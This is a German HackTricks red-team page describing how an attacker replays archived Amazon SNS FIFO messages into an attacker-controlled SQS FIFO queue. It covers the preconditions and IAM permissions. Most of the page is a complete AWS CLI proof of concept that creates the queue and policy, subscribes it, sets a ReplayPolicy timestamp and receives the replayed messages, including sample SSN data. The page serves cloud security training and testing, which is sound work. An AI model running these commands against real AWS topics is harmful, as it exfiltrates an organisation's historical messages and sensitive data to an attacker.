SNS FIFO Archiv-Wiedergabe-Exfiltration über Attacker SQS FIFO Subscription

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Missbrauch der Amazon SNS FIFO Topic-Nachrichtenarchivierung, um zuvor veröffentlichte Nachrichten wiederzugeben und an eine von Attacker kontrollierte SQS FIFO-Queue zu exfiltrieren, indem die Subscription ReplayPolicy gesetzt wird.

  • Dienst: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
  • Voraussetzungen: Topic muss ArchivePolicy aktiviert haben (Nachrichtenarchivierung). Attacker kann sich auf das Topic Subscribe und Attribute auf ihrer Subscription setzen. Attacker kontrolliert eine SQS FIFO-Queue und erlaubt dem Topic, Nachrichten zu senden.
  • Auswirkung: Historische Nachrichten (vor der Subscription veröffentlichte) können an den Attacker-Endpunkt zugestellt werden. Wiedergegebene Zustellungen werden im SNS-Envelope mit Replayed=true gekennzeichnet.

Preconditions

  • SNS FIFO topic mit aktivierter Archivierung: ArchivePolicy (z. B. { "MessageRetentionPeriod": "2" } für 2 Tage).
  • Attacker hat Berechtigungen für:
  • sns:Subscribe auf dem Ziel-Topic.
  • sns:SetSubscriptionAttributes auf der erstellten Subscription.
  • Attacker hat eine SQS FIFO-Queue und kann eine Queue-Policy anhängen, die sns:SendMessage vom Topic-ARN erlaubt.

Minimum IAM permissions

  • Auf dem Topic: sns:Subscribe.
  • Auf der Subscription: sns:SetSubscriptionAttributes.
  • Auf der Queue: sqs:SetQueueAttributes für die Policy, und eine Queue-Policy, die sns:SendMessage vom Topic-ARN erlaubt.

Angriff: Wiedergabe archivierter Nachrichten an Attacker SQS FIFO

Der Attacker subscribed seine SQS FIFO-Queue am Opfer-SNS-FIFO-Topic und setzt dann die ReplayPolicy auf einen Zeitstempel in der Vergangenheit (innerhalb des Archivaufbewahrungsfensters). SNS spielt sofort passende archivierte Nachrichten an die neue Subscription zurück und kennzeichnet sie mit Replayed=true.

Hinweise:

  • Der in der ReplayPolicy verwendete Zeitstempel muss >= dem BeginningArchiveTime des Topics sein. Ist er früher, gibt die API Invalid StartingPoint value zurück.
  • Für SNS FIFO Publish muss ein MessageGroupId angegeben werden (und entweder eine Dedup-ID oder ContentBasedDeduplication aktiviert sein).
End-to-end CLI POC (us-east-1)
bash
REGION=us-east-1
# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
TS_START=$(python3 - << 'PY'
from datetime import datetime, timezone, timedelta
print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
PY
)

# 1) Create SNS FIFO topic with archiving (2-day retention)
TOPIC_NAME=htreplay$(date +%s).fifo
TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
--query TopicArn --output text)

echo "Topic: $TOPIC_ARN"

# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
for i in $(seq 1 3); do
aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
--message-group-id g1 >/dev/null
done

# 3) Create attacker SQS FIFO queue and allow only this topic to send
Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
--attribute-names QueueArn --query Attributes.QueueArn --output text)

cat > /tmp/ht-replay-sqs-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
JSON
# Use CLI input JSON to avoid quoting issues
aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
import json, os
print(json.dumps({
'QueueUrl': os.environ['Q_URL'],
'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
}))
PY
)"

# 4) Subscribe the queue to the topic
SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)

echo "Subscription: $SUB_ARN"

# 5) Ensure StartingPoint is >= BeginningArchiveTime
BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
START=${TS_START}
if [ -n "$BEGIN" ]; then START="$BEGIN"; fi

aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
--attribute-name ReplayPolicy \
--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"

# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
--max-number-of-messages 10 --wait-time-seconds 10 \
--message-attribute-names All --attribute-names All

Auswirkungen

Potentielle Auswirkungen: Ein Angreifer, der sich bei einem SNS FIFO topic mit aktivierter Archivierung abonnieren kann und ReplayPolicy auf seiner Subscription setzt, kann sofort historische Nachrichten, die an dieses Topic veröffentlicht wurden, replayen und exfiltrieren, nicht nur Nachrichten, die nach Erstellung der Subscription gesendet wurden. Gelieferte Nachrichten enthalten ein Replayed=true Flag im SNS envelope.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks